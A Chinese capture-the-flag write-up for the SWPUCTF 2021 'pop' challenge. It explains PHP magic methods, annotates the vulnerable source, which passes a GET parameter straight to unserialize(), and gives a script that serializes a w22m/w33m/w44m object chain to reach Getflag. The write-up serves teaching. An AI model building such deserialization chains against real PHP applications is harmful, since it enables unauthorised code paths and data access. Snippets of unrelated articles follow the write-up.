[SWPUCTF 2021 新生赛]pop

 常见的魔术方法

魔术方法

__construct()	类的构造函数,在对象实例化时调用
__destruct()	类的析构函数,在对象被销毁时被调用
__call()		在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性
__get()			个人觉得和call函数类似
__isset()		当一个对象调用isset()或empty()时被调用
__sleep()		执行serialize()时,先会调用这个函数
__wakeup()		执行unserialize()时,先会调用这个函数,改属性键值可绕过
__toString()	类被当成字符串时被调用,如出现echo或者pre_match时
__invoke()		以函数的形式调用一个对象时被调用
__clone()		出现clone函数,会被调用

 源码

# 源码

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

源码解读 

# 注释版

<?php

error_reporting(0); // 定义报错等级为0,也就说不显示代码报错!
show_source("index.php"); // 显示index.php源码!

class w44m{ # 定义类 w44m 

    private $admin = 'aaa'; // 定义私有成员变量为admin,值为aaa
    protected $passwd = '123456'; // 定义私有成员变量为passwd,值为123456

    public function Getflag(){ // 定义公共方法 Getflag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){ // 判断这两个私有成员变量的值是否为 w44m \ 08067
            include('flag.php'); // 如果满足if条件语句,则包含flag.php文件!
            echo $flag;  // 并输出变量flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono'; // 否则,就打印当前私有变量admin、passwd 输入的字符值!
        }
    }
}

class w22m{ // 定义 w22m类
    public $w00m;
    public function __destruct(){ // w22m类中的析构函数为空,这意味着在对象被销毁时不会执行任何特定的操作 !  // 类的析构函数,在对象被销毁时被调用!
        echo $this->w00m; // 
    }
        /*
        $this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。
        */
}

class w33m{ // 定义 w33m类
    public $w00m;
    public $w22m;
    public function __toString(){ # 类被当成字符串时被调用,如出现echo或者pre_match时
        $this->w00m->{$this->w22m}();
        return 0;
        /*
        再再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,
        于是我们就能看到w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。
        */

    }
}

/*
$this->w00m:访问存储在属性 $w00m 中的对象。
->{$this->w22m}:调用存储在属性 $w22m 中的方法名对应的方法,作用于从 $w00m 获取的对象上。
动态地在一个对象上调用一个方法,其中对象和方法名分别由类 w33m 内的属性 $w00m 和 $w22m 确定。
*/


// 这一题就是构造pop链!
# w44m类用于读取flag,所以是这条链的尾部!
# 对象被销毁时候会调用析构函数 __destruct() ,所以w22m是头部!
# 那么w33m 就是中间部分了!


$w00m = $_GET['w00m']; // 注意 ,这里传参为 w00m
unserialize($w00m); // 序列化!

?>

 exp脚本

# exp

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m;
$a -> w00m = new w33m;
$a -> w00m -> w00m = new w44m;
$a -> w00m -> w22m = 'Getflag';

echo serialize($a)
?>

构造pop链!第一次做觉得难,多做几次,就简单了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/648247.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

​​​【收录 Hello 算法】10.4 哈希优化策略

目录 10.4 哈希优化策略 10.4.1 线性查找&#xff1a;以时间换空间 10.4.2 哈希查找&#xff1a;以空间换时间 10.4 哈希优化策略 在算法题中&#xff0c;我们常通过将线性查找替换为哈希查找来降低算法的时间复杂度。我们借助一个算法题来加深理解。 Question 给…

云上聚智共创未来 | 移动云的项目实战,10分钟让你获得高度可玩的个人博客网站

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 随着互联网的发展各种以前看起来离我们比较遥远的词越来越近了&#xff0c;比如 云服务、大数据、区块链、容器这些听起来…

04_前端三大件JS

文章目录 JavaScript1.JS的组成部分2.JS引入2.1 直接在head中通过一对script标签定义脚本代码2.2创建JS函数池文件&#xff0c;所有html文件共享调用 3.JS的数据类型和运算符4.分支结构5.循环结构6.JS函数的声明7.JS中自定义对象8.JS_JSON在客户端使用8.1JSON串格式8.2JSON在前…

#12松桑前端后花园周刊-SolidStart、Vercel融资、Angular18、Nextjs15RC、p5.js、ChromeDevTools引入AI

⚡️行业动态 SolidStart 1.0 元框架发布 Solidjs 核心团队发布其元框架 SolidStart 1.0 正式版&#xff0c;其特点如下&#xff1a;基于文件系统的路由&#xff1b;支持SSR、流式SSR、CSR、SSG渲染模式&#xff1b;通过代码分割、树摇和无用代码删除构建优化&#xff1b;基于…

LabVIEW超快激光微纳制造系统设计

LabVIEW超快激光微纳制造系统设计 在当前的制造行业中&#xff0c;精密加工技术的需求日益增长&#xff0c;尤其是在微纳尺度上。超快激光制造技术&#xff0c;以其独特的加工精度和加工效率&#xff0c;成为了精密加工领域的重要手段。然而&#xff0c;大多数超快激光制造系统…

05.爬虫---urllib与requests请求实战(GET)

05.urllib与Requests请求实战GET 1.Urllib模块2.Requests模块3.对比4.实战 1.Urllib模块 Urllib官方文档 https://docs.python.org/3/library/urllib.request.html urllib是Python的标准库&#xff0c;用于发送HTTP请求和处理响应。它提供了urlopen、Request等函数和类来与网络…

C++初阶学习第九弹——探索STL奥秘(四)——vector的深层挖掘和模拟实现

string&#xff08;上&#xff09;&#xff1a;C初阶学习第六弹——探索STL奥秘&#xff08;一&#xff09;——标准库中的string类-CSDN博客 string&#xff08;下&#xff09;&#xff1a;C初阶学习第七弹——探索STL奥秘&#xff08;二&#xff09;——string的模拟实现-CS…

GVM: Golang多版本管理利器

本文介绍了 Go Version Manager 的功能和使用方法&#xff0c;介绍了如何通过 GVM 在系统上安装和管理多个 Go 语言版本。原文: GVM: Go Version Manager, for Golang manage multiple versions Go 版本管理器&#xff08;GVM&#xff0c;Go Version Manager&#xff09;是一款…

X-CSV-Reader:一个使用Rust实现CSV命令行读取器

&#x1f388;效果演示 ⚡️快速上手 依赖导入&#xff1a; cargo add csv读取实现&#xff1a; use std::error::Error; use std::fs::File; use std::path::Path;fn read_csv<P: AsRef<Path>>(filename: P) -> Result<(), Box<dyn Error>> {le…

让大模型变得更聪明:人工智能的未来发展之路

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

slam14讲(第9,10讲 后端)

slam14讲&#xff08;第9&#xff0c;10讲 后端&#xff09; 后端分类基于滤波器的后端线性系统和卡尔曼滤波非线性系统和扩展卡尔曼滤波 BA优化H矩阵的稀疏性和边缘化H矩阵求解的总结 位姿图优化公式推导 基于滑动窗口的后端个人见解旧关键帧的边缘化 后端分类 基于滤波器的后…

融汇11款AI工具构建完美应用

本文将为您介绍25个开源项目&#xff0c;分为上下两篇以便您融汇它们来制作自己的AI应用。人工智能&#xff08;AI&#xff09;应用在近年来得到了长足的发展。从语音助手到软件开发&#xff0c;人工智能已在我们的生活中无处不在&#xff0c;并得到了广泛应用。 如您所见&…

免费且非常火的日程管理软件:飞项

一、简介 1、在日常繁忙的工签中&#xff0c;是否事情一大堆却记不住&#xff1f;系统自带的日历用着却是不方便&#xff0c;不顺手&#xff0c;提醒不及时&#xff1f;待办、打卡、记事乱七八糟的混在一起&#xff0c;关键时候找不到&#xff1f;市面上的日程管理软件那么多&a…

Spring框架温习

Spring 特征 Spring是一个全面的、企业应用开发一站式的解决方案&#xff0c;贯穿表现层、业务层、持久层。但是 Spring仍然可以和其他的框架无缝整合。 Spring 特点&#xff1a; 轻量级、控制反转、面向切面、容器、框架集合 Spring 核心组件&#xff1a; Spring 常用模块…

简单的基于信号处理的心电信号ECG特征波分割方法(MATLAB)

正常的心电图中&#xff0c;每个心跳周期内包含三个主要的特征波&#xff1a;&#xff30;波、QRS波和&#xff34;波&#xff0c;如下图所示。心电特征波能够反映心脏的生理状态信息&#xff0c;通过对其形状、幅值和持续时间的分析&#xff0c;可以用来辅助诊断心血管疾病。对…

异相(相位不平衡)状态下的合成器效率分析-理论与ADS仿真

异相&#xff08;相位不平衡&#xff09;状态下的合成器效率分析-理论与ADS仿真 12、ADS使用记录之功分器设计中简单介绍了威尔金森功分器的设计方法。一般来讲&#xff0c;功分器反过来就能作为合路器使用&#xff0c;在输入信号相位一致的情况下&#xff0c;各种合路器的效率…

港股:并不意外的获利了结

中金公司表示&#xff0c;风险偏好驱动的反弹已经较为充分&#xff0c;分歧和获利了结也不意外。接下来或在当前水平震荡盘整&#xff0c;等待更多催化剂。 在持续一个月的大涨后&#xff0c;港股市场上周出现明显回调。此前我们多次提示&#xff0c;市场已经超买&#xff0c;情…

HTML静态网页成品作业(HTML+CSS)——杭州西湖景点介绍网页(3个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有3个页面。 二、作品演示 三、代…

聊聊ChatGPT的本质

这是鼎叔的第九十八篇原创文章。行业大牛和刚毕业的小白&#xff0c;都可以进来聊聊。 阶段性总结下我对ChatGPT的基础理解&#xff0c;算是一篇学习思考笔记吧。其中难免有很多不准确的&#xff0c;或过于简略的地方&#xff0c;将来再迭代学习。 OpenAI做ChatGPT的底层逻辑…

FFmpeg开发笔记(三十一)使用RTMP Streamer开启APP直播推流

RTMP Streamer是一个安卓手机端的开源RTMP直播推流框架&#xff0c;可用于RTMP直播和RTSP直播&#xff0c;其升级版还支持SRT直播&#xff08;腾讯视频云就采用SRT协议&#xff09;。RTMP Streamer支持的视频编码包括H264、H265、AV1等等&#xff0c;支持的音频编码包括AAC、G7…